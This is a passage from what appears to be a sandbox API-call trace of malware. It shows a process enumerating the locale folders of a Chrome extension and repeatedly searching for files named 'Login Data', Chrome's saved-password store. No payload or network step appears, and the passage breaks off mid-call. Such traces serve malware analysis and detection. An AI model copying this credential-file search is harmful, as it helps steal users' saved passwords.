Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.840] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.840] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.840] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0054.840] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0054.840] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*" [0054.840] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.840] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.840] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.840] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.840] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.840] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.840] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.840] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.840] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.840] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.841] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0054.841] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl" [0054.841] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*" [0054.841] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.841] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.841] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.841] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.841] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.841] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.841] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.841] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.841] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.841] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.841] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0054.841] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr" [0054.841] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*" [0054.841] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.841] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.841] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.841] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.841] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.841] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.841] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.841] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.841] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.841] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.841] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0054.841] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv" [0054.842] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*" [0054.842] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.842] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.842] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.842] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.842] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.842] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.842] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.842] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.842] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.842] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.842] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0054.842] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0054.842] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*" [0054.842] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.842] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.842] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.842] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.842] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.842] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.842] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.842] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.842] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.842] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.842] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0054.842] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0054.842] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*" [0054.842] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.843] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.843] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.843] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.843] lstrcatA (in: 